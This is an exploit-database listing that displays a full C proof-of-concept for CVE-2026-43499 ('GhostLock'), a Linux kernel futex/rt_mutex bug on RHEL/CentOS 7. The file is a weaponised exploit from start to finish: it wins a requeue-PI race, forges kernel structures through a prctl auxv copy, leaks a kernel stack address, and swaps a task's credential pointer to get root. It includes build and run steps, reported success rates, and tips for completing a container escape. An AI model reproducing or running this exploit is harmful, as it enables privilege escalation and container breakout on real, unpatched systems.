Exploit database

GH-77eb0d74dde87d1de0f67fd5eede49cb

lkeld/cve-2026-43499-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

168 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
lkeld/cve-2026-43499-pocRevision b45b0015a76d

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

el7/ghostlock_el7.c

C · 21,554 bytes
/*
 * ghostlock_el7.c — CVE-2026-43499 ("GhostLock") PoC for RHEL/CentOS 7
 * kernels (3.10.0-693.el7 and 3.10.0-1160.102.1.el7, x86_64).
 *
 * root-in-namespace => host kernel credential substitution.
 * single file, no kernel module, no /dev/mem, no second bug.
 *
 * bug credit: NebuSec (nebusec.ai), who found GhostLock and wrote the
 * 6.x-era exploit. This is an independent weaponisation for the el7
 * backport family, where their inet6_protos/CEA chain does not apply —
 * see WRITEUP.md for why and what I did instead.
 *
 * prerequisites (all satisfied by any privileged container, which is the
 * intended staging):
 *   - CAP_SYS_ADMIN in the current user namespace (or init-ns root) so
 *     /proc/self/pagemap reports real PFNs
 *   - /proc/kcore readable (in-ns CAP_SYS_RAWIO is enough on el7)
 *   - /proc/kallsyms unmasked (kptr_restrict=0, or CAP_SYSLOG)
 *
 * Build:  gcc -O2 -o ghostlock_el7 ghostlock_el7.c -lpthread
 * Run:    ./ghostlock_el7
 *
 * if the EDEADLK race is lost the tool aborts *before* any kernel walk:
 * it never dereferences an unforged waiter. that matters on hosts with
 * panic_on_oops=1
 *
 * measurable reliability (final, post stage-3 fix): 1160.102.1 — 40/40
 * randomised stress across 5 fresh boots + 10/10 regression; 693 — 20/20
 * with SIGKILL between every run. zero panics in the final configuration
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <sched.h>
#include <pthread.h>
#include <time.h>
#include <elf.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>

/* ------------------------------------------------------------------ */
/* futex wrappers, 3.10 ABI, private futexes                           */
/* ------------------------------------------------------------------ */

#define FLP   (6 | 128)    /* FUTEX_LOCK_PI | PRIVATE           */
#define FWRQ  (11 | 128)   /* FUTEX_WAIT_REQUEUE_PI | PRIVATE   */
#define FCRQ  (12 | 128)   /* FUTEX_CMP_REQUEUE_PI | PRIVATE    */
#define FUP   (7 | 128)    /* FUTEX_UNLOCK_PI | PRIVATE         */

static long ftx(uint32_t *uaddr, int op, uint32_t val, void *timeout,
                uint32_t *uaddr2, uint32_t val3)
{
    return syscall(SYS_futex, uaddr, op, val, timeout, uaddr2, val3);
}

/* ------------------------------------------------------------------ */
/* Shared state                                                        */
/* ------------------------------------------------------------------ */

/* task_struct layout — identical on both builds (checked by building a
 * trivial offsetof-printing module against each kernel-devel) */
#define T_CRED        0x670     /* ->cred, the pointer we replace */
#define THREAD_SIZE   0x4000    /* 16K kernel stacks              */

/* auxv slots that alias the waiter fields; filled by pick_geometry() */
static int IDX_PC, IDX_RIGHT, IDX_LEFT, IDX_TASK, IDX_LOCK, IDX_PRIO;

static uint64_t init_task_addr;
static uint64_t fake_va;            /* userspace mapping of the alias page */
static uint64_t alias;              /* kernel direct-map alias of the page */

/* fake-structure offsets within the alias page */
enum { OFF_LOCK = 0x000, OFF_WAITER = 0x0A0, OFF_CRED = 0x200,
       OFF_SCRATCH = 0x300, OFF_X = 0x400 };

static uint32_t f_chain, f_target, f_wait;      /* the three futex words */
static volatile int w_locked, w_waiting, o_ready;
static volatile int w_painted1, w_painted2, stage2_go, stage3_go;
static volatile long paint_rc[2];
static volatile pid_t w_tid;
static uint64_t victim_task;

/* ------------------------------------------------------------------ */
/* /proc/kcore reader — vaddr to bytes through the PT_LOAD map          */
/* ------------------------------------------------------------------ */

static int kcore_read(uint64_t va, void *out, uint64_t len)
{
    FILE *f = fopen("/proc/kcore", "rb");
    if (!f) return -1;

    Elf64_Ehdr eh;
    if (fread(&eh, sizeof eh, 1, f) != 1) { fclose(f); return -1; }

    Elf64_Phdr *ph = malloc(eh.e_phnum * sizeof *ph);
    fseek(f, eh.e_phoff, SEEK_SET);
    if (fread(ph, sizeof *ph, eh.e_phnum, f) != eh.e_phnum) {
        free(ph); fclose(f); return -1;
    }

    uint64_t got = 0;
    for (int i = 0; i < eh.e_phnum && got < len; i++) {
        if (ph[i].p_type != PT_LOAD) continue;
        if (va >= ph[i].p_vaddr && va < ph[i].p_vaddr + ph[i].p_memsz) {
            uint64_t off = ph[i].p_offset + (va - ph[i].p_vaddr);
            uint64_t n = ph[i].p_memsz - (va - ph[i].p_vaddr);
            if (n > len - got) n = len - got;
            fseek(f, off, SEEK_SET);
            got += fread((char *)out + got, 1, n, f);
        }
    }
    free(ph);
    fclose(f);
    return got == len ? 0 : -1;
}

static uint64_t ksym(const char *name)
{
    char cmd[256], buf[32];
    snprintf(cmd, sizeof cmd,
             "awk '$3==\"%s\"{print $1; exit}' /proc/kallsyms", name);
    FILE *p = popen(cmd, "r");
    if (!p) return 0;
    uint64_t r = 0;
    if (fgets(buf, sizeof buf, p)) r = strtoull(buf, NULL, 16);
    pclose(p);
    return r;
}

/* ------------------------------------------------------------------ */
/* which auxv slot aliases which waiter field depends on the build.     */
/* Measured with marker dumps on both benches — don't trust it for any  */
/* el7 micro-release you haven't dumped yourself:                       */
/*                                                                     */
/*   3.10.0-1160.102.1  waiter @ stack_top-0x310:                       */
/*       pc=auxv[7] right=[8] left=[9] task=[13] lock=[14] prio=[15]    */
/*   3.10.0-693.el7     waiter @ stack_top-0x2E0:                       */
/*       pc=auxv[6] right=[7] left=[8] task=[12] lock=[13] prio=[14]    */
/* ------------------------------------------------------------------ */

static void pick_geometry(void)
{
    struct utsname u;
    uname(&u);
    if (strstr(u.release, "693")) {
        IDX_PC = 6; IDX_RIGHT = 7; IDX_LEFT = 8;
        IDX_TASK = 12; IDX_LOCK = 13; IDX_PRIO = 14;
    } else {
        IDX_PC = 7; IDX_RIGHT = 8; IDX_LEFT = 9;
        IDX_TASK = 13; IDX_LOCK = 14; IDX_PRIO = 15;
    }
    fprintf(stderr, "[*] geometry for %s: "
            "pc/right/left/task/lock/prio = auxv[%d/%d/%d/%d/%d/%d]\n",
            u.release, IDX_PC, IDX_RIGHT, IDX_LEFT,
            IDX_TASK, IDX_LOCK, IDX_PRIO);
}

/* ------------------------------------------------------------------ */
/* the painter.                                                         */
/*                                                                     */
/* prctl(PR_SET_MM, PR_SET_MM_MAP) copies a 104-byte struct and, when   */
/* auxv_size != 0, does:                                                */
/*                                                                     */
/*     memset(user_auxv, 0, sizeof(user_auxv));       // 352 bytes      */
/*     copy_from_user(user_auxv, auxv, auxv_size);                      */
/*                                                                     */
/* that user_auxv[AT_VECTOR_SIZE] local sits at almost exactly the      */
/* depth of the waiter thread's dead FWRQ frame. The copy is the paint; */
/* the memset before it is why the ->lock field can never be left at    */
/* its natural value (all 44 slots are zeroed first so anything you      */
/* don't repaint dies, including a genuinely valid pointer). kernel     */
/* pointers in the payload are fine: the map is validated after the   */
/* copy, and auxv entries are never validated at all                   */
/*                                                                     */
/* one rule that cost me a regrettable number of VM reboots: after the  */
/* prctl returns, the waiter thread must not issue another syscall      */
/* before the walk reads the frame. even a single fprintf() plows the   */
/* waiter slots back to garbage (lock became 0x246, deterministically,  */
/* which was a nice clue but a bad afternoon).                          */
/* ------------------------------------------------------------------ */

struct mm_map_104 {
    uint64_t start_code, end_code, start_data, end_data;
    uint64_t start_brk, brk, start_stack;
    uint64_t arg_start, arg_end, env_start, env_end;
    uint64_t auxv;
    uint32_t auxv_size;
    uint32_t exe_fd;
};

static void paint_waiter(uint64_t pc, uint64_t right)
{
    uint64_t *src = (uint64_t *)fake_va;

    memset((void *)fake_va, 0, 0x1000);

    /* the forged waiter, via the auxv copy */
    src[IDX_PC]     = pc;
    src[IDX_RIGHT]  = right;
    src[IDX_LEFT]   = 0;               /* one-child erase; clean rebalance */
    src[IDX_TASK]   = init_task_addr;  /* wake target: harmless to wake   */
    src[IDX_LOCK]   = alias + OFF_LOCK;
    src[IDX_PRIO]   = 100;             /* differs from task prio          */

    /* fake rt_mutex at +0 */
    *(uint64_t *)(fake_va + OFF_LOCK + 0)  = 0;              /* wait_lock */
    *(uint64_t *)(fake_va + OFF_LOCK + 8)  = alias + OFF_X;  /* rb_root   */
    *(uint64_t *)(fake_va + OFF_LOCK + 16) = alias + OFF_WAITER;
    *(uint64_t *)(fake_va + OFF_LOCK + 24) = 0;              /* owner     */

    /* fake waiter at +0xA0 — only +48 (task) and +56 (lock) are read,
     * the +56 == lock identity being what the 3.10 BUG_ON demands */
    *(uint64_t *)(fake_va + OFF_WAITER + 48) = init_task_addr;
    *(uint64_t *)(fake_va + OFF_WAITER + 56) = alias + OFF_LOCK;

    /* fake cred at +0x200: usage=2, all ids zero, all cap sets full.
     * deliberately minimal — see WRITEUP for the escape follow-ups. */
    uint64_t *fc = (uint64_t *)(fake_va + OFF_CRED);
    memset(fc, 0, 0x100);
    fc[0] = 2;
    fc[5] = fc[6] = fc[7] = fc[8] = ~0ULL;

    /* descent node at +0x400: parent word 1 (odd => BLACK, so the
     * insert fixup terminates without rotations), both child slots
     * NULL, prio 200 so a prio-120 waiter descends left into +0x410 */
    *(uint64_t *)(fake_va + OFF_X)      = 1;
    *(uint64_t *)(fake_va + OFF_X + 64) = 200;

    /* the map just has to *pass* validation so the auxv copy runs */
    struct mm_map_104 m;
    memset(&m, 0, sizeof m);
    m.start_code  = fake_va + 0x01000; m.end_code   = fake_va + 0x02000;
    m.start_data  = fake_va + 0x03000; m.end_data   = fake_va + 0x04000;
    m.start_brk   = fake_va + 0x05000; m.brk        = fake_va + 0x06000;
    m.start_stack = fake_va + 0x07000;
    m.arg_start   = fake_va + 0x08000; m.arg_end    = fake_va + 0x09000;
    m.env_start   = fake_va + 0x0A000; m.env_end    = fake_va + 0x0B000;
    m.auxv        = fake_va;
    m.auxv_size   = 0x90;   /* covers every waiter slot, nothing beyond */
    m.exe_fd      = (uint32_t)-1;

    long rc = syscall(SYS_prctl, 35 /*PR_SET_MM*/, 14 /*PR_SET_MM_MAP*/,
                      &m, sizeof m, 0);
    paint_rc[stage2_go ? 1 : 0] = rc;
}

/* ------------------------------------------------------------------ */
/* the trigger — NebuSec's three-futex cycle.                          */
/*                                                                     */
/* W      LOCK_PI(f_chain)                      [owns f_chain]          */
/* W      WAIT_REQUEUE_PI(f_wait -> f_target)   [sleeps, waiter frame] */
/* O(+19) owns f_target word, LOCK_PI(f_chain)  [blocks; pi_state      */
/*        created with owner W, O's waiter in its tree]                */
/* us     CMP_REQUEUE_PI(f_wait -> f_target): the proxy enqueues W's   */
/*        rt_mutex_waiter on f_target's pi_state, the PI chain closes  */
/*        the loop through O, the requeuer gets -EDEADLK, and the      */
/*        rollback in remove_waiter() clears the *requeuer's*          */
/*        pi_blocked_on instead of W's. W times out into userspace     */
/*        holding a dangling pi_blocked_on into its own popped frame.  */
/* ------------------------------------------------------------------ */

static void *waiter_thread(void *arg)
{
    (void)arg;
    w_tid = syscall(SYS_gettid);

    if (ftx(&f_chain, FLP, 0, 0, 0, 0))
        return NULL;
    w_locked = 1;
    while (!o_ready) sched_yield();

    struct timespec ts;
    clock_gettime(CLOCK_MONOTONIC, &ts);
    ts.tv_sec += 1;
    ts.tv_nsec += 200000000;
    if (ts.tv_nsec >= 1000000000) { ts.tv_sec++; ts.tv_nsec -= 1000000000; }

    w_waiting = 1;
    ftx(&f_wait, FWRQ, 0, &ts, &f_target, 0);   /* ETIMEDOUT after rollback */

    /* paint #1: benign pc/right; the erase lands in our own page and the
     * enqueue stores &waiter_frame at +0x410 for us to read back */
    paint_waiter(alias + OFF_SCRATCH, 0);
    w_painted1 = 1;

    /* from here: no syscalls until stage2_go flips. userspace spin. */
    while (!stage2_go)
        ;

    /* paint #2: the credential substitution */
    paint_waiter(victim_task + T_CRED - 8, alias + OFF_CRED);
    w_painted2 = 1;

    /* both walks are done; the paint no longer matters so syscalls are
     * safe again. wait for the main thread's verification, then hand
     * f_chain to the owner thread with FUTEX_UNLOCK_PI. that thread (the
     * top waiter) wakes OWNING the lock and exits through its own clean
     * exit_pi_state_list; after this we own no rt_mutex, so nothing can
     * ever reach our dangling pi_blocked_on again — not a late walk, not
     * our own exit. without this, killing the parked process races the
     * futex-exit walk against mm teardown: the alias page gets freed
     * under the walk's feet and the kernel takes a GPF (found the hard
     * way — a 693 bench vmcore has the exact RIP). */
    while (!stage3_go)
        sched_yield();
    ftx(&f_chain, FUP, 0, 0, 0, 0);

    for (;;)
        pause();
    return NULL;
}

static void *owner_thread(void *arg)
{
    (void)arg;
    /* nice +19 keeps this thread's waiter at the bottom of every tree
     * it lands in, which the walk's bookkeeping appreciates */
    setpriority(PRIO_PROCESS, 0, 19);
    f_target = (uint32_t)syscall(SYS_gettid);
    o_ready = 1;
    while (!w_locked) sched_yield();

    /* block on the chain for a while — 5s is comfortably past the whole
     * exploit (~3s). the timeout unqueue then performs one more walk
     * through W's *painted* waiter (idempotent: it re-stores the same
     * values) and this thread exits cleanly while every frame is still
     * valid. without this the thread blocks forever, and a later
     * SIGKILL of the parked process turns its futex-exit cleanup into
     * a walk over an already-freed kernel stack — the 693 bench
     * panicked exactly there, 1160 hung instead. same root cause. */
    struct timespec ts;
    clock_gettime(CLOCK_REALTIME, &ts);
    ts.tv_sec += 5;
    ftx(&f_chain, FLP, 0, &ts, 0, 0);
    return NULL;
}

/* ------------------------------------------------------------------ */
/* the walk trigger.                                                    */
/*                                                                     */
/* sched_setscheduler(2) on the waiter task is the cleanest consumer on */
/* 3.10: __sched_setscheduler() -> rt_mutex_adjust_pi(W) ->             */
/* rt_mutex_adjust_prio_chain(). Two things the futex-based consumer    */
/* gets wrong and this gets right:                                      */
/*                                                                     */
/*  1. it only walks when the scheduling *policy* actually changes —    */
/*     same-policy calls and setpriority() both return before           */
/*     rtmutex, so we alternate SCHED_IDLE and SCHED_OTHER;             */
/*  2. it enters the walk with orig_waiter == NULL, skipping the        */
/*     top-pi-waiter consistency check that early-outs the walk once    */
/*     earlier consumers leave entries on W — which also makes it       */
/*     repeatable: paint, flip policy, repeat.                          */
/* ------------------------------------------------------------------ */

static void fire_walk(void)
{
    static int flip;
    struct sched_param sp = { .sched_priority = 0 };
    int pol = (flip = !flip) ? SCHED_IDLE : SCHED_OTHER;
    long rc = sched_setscheduler(w_tid, pol, &sp);
    fprintf(stderr, "[*] walk: sched_setscheduler(w=%d, %s) = %ld\n",
            (int)w_tid, pol == SCHED_IDLE ? "SCHED_IDLE" : "SCHED_OTHER", rc);
}

/* ------------------------------------------------------------------ */

int main(void)
{
    pick_geometry();

    init_task_addr = ksym("init_task");
    uint64_t pob_sym = ksym("page_offset_base");
    if (!init_task_addr || !pob_sym) {
        fprintf(stderr, "[-] kallsyms is masked (kptr_restrict?). This "
                        "staging needs readable symbols.\n");
        return 1;
    }

    /* el7 backported memory-region KASLR: the direct map base moves on
     * every boot. read it, don't just guess it */
    uint64_t page_offset_base = 0;
    if (kcore_read(pob_sym, &page_offset_base, 8) || !page_offset_base) {
        fprintf(stderr, "[-] cannot read page_offset_base via kcore\n");
        return 1;
    }

    /* ---- the alias page ---- */
    fake_va = 0x60000000UL;
    if (mmap((void *)fake_va, 0x1000, PROT_READ | PROT_WRITE,
             MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE,
             -1, 0) != (void *)fake_va) {
        perror("[-] mmap");
        return 1;
    }
    mlock((void *)fake_va, 0x1000);
    *(volatile uint64_t *)fake_va = 0x1122334455667788UL;

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) { perror("[-] pagemap"); return 1; }
    uint64_t entry = 0;
    pread(fd, &entry, 8, (fake_va >> 12) * 8);
    close(fd);

    uint64_t pfn = entry & ((1ULL << 55) - 1);
    if (!(entry >> 63) || !pfn) {
        fprintf(stderr, "[-] pagemap returned no PFN — root / in-ns "
                        "CAP_SYS_ADMIN required.\n");
        return 1;
    }
    alias = page_offset_base + (pfn << 12);
    fprintf(stderr, "[+] pfn %llx, page_offset_base %lx -> alias %lx\n",
            (unsigned long long)pfn, page_offset_base, alias);

    /* ---- stage 0: the trigger ---- */
    pthread_t w, o;
    pthread_create(&w, 0, waiter_thread, NULL);
    while (!w_locked) sched_yield();
    pthread_create(&o, 0, owner_thread, NULL);
    while (!w_waiting || !o_ready) sched_yield();
    usleep(300000);

    long rc = ftx(&f_wait, FCRQ, 1, (void *)1, &f_target, 0);
    fprintf(stderr, "[*] CMP_REQUEUE_PI -> %ld (want -1 / EDEADLK)\n", rc);
    if (rc != -1) {
        /* lost the race: the 1.2s FWRQ timer can beat the requeue under
         * load. The frame is then NOT stale, and walking it would
         * deref garbage, on panic_on_oops=1 hosts that is a dead
         * machine. abort; retrying the whole run is ez. */
        fprintf(stderr, "[-] no EDEADLK — aborting safely\n");
        return 1;
    }

    for (int i = 0; i < 300 && !w_painted1; i++) usleep(10000);
    if (!w_painted1) { fprintf(stderr, "[-] paint #1 never ran\n"); return 1; }
    usleep(300000);
    fprintf(stderr, "[*] paint #1 rc = %ld\n", paint_rc[0]);

    /* ---- stage 1: leak the waiter frame's kernel address ---- */
    fire_walk();
    usleep(500000);

    uint64_t stale = *(volatile uint64_t *)(fake_va + OFF_X + 16);
    fprintf(stderr, "[+] leaked &stale_waiter = %llx\n",
            (unsigned long long)stale);
    if ((stale >> 48) != 0xffff) {
        fprintf(stderr, "[-] leak did not land\n");
        return 1;
    }

    /* thread_info sits at the base of the 16K kernel stack and its
     * first member is ->task: one kcore qword for the task address. */
    uint64_t stack_base = stale & ~(uint64_t)(THREAD_SIZE - 1);
    if (kcore_read(stack_base, &victim_task, 8)) {
        fprintf(stderr, "[-] kcore read of thread_info failed\n");
        return 1;
    }
    uint64_t cred_before = 0;
    kcore_read(victim_task + T_CRED, &cred_before, 8);
    fprintf(stderr, "[+] victim task %llx, ->cred before %llx\n",
            (unsigned long long)victim_task, (unsigned long long)cred_before);

    /* ---- stage 2: flip the credential ---- */
    stage2_go = 1;
    for (int i = 0; i < 300 && !w_painted2; i++) usleep(10000);
    if (!w_painted2) { fprintf(stderr, "[-] paint #2 never ran\n"); return 1; }
    fprintf(stderr, "[*] paint #2 rc = %ld\n", paint_rc[1]);
    usleep(200000);

    fire_walk();
    usleep(500000);

    uint64_t cred_after = 0;
    kcore_read(victim_task + T_CRED, &cred_after, 8);
    fprintf(stderr, "%s ->cred after  %llx (want %llx)\n",
            cred_after == alias + OFF_CRED ? "[+]" : "[-]",
            (unsigned long long)cred_after,
            (unsigned long long)(alias + OFF_CRED));

    fprintf(stderr, "[%c] uid=%d euid=%d gid=%d egid=%d\n",
            geteuid() == 0 ? '+' : '-',
            getuid(), geteuid(), getgid(), getegid());

    /* dismantle the trigger state: hand f_chain off, let the owner
     * thread exit cleanly. after this the parked process is safe to
     * SIGKILL — no PI chain can reach the stale frame anymore. */
    stage3_go = 1;
    sleep(1);

    if (cred_after == alias + OFF_CRED && geteuid() == 0) {
        fprintf(stderr,
            "[+] credential substitution complete.\n"
            "    the fake cred is deliberately minimal (ids zeroed, cap\n"
            "    sets full). For a full container escape, clone init_cred\n"
            "    through the same kcore channel instead, or patch user /\n"
            "    user_ns to the init_ equivalents and setns() out.\n");
    }

    for (;;) pause();
    return 0;
}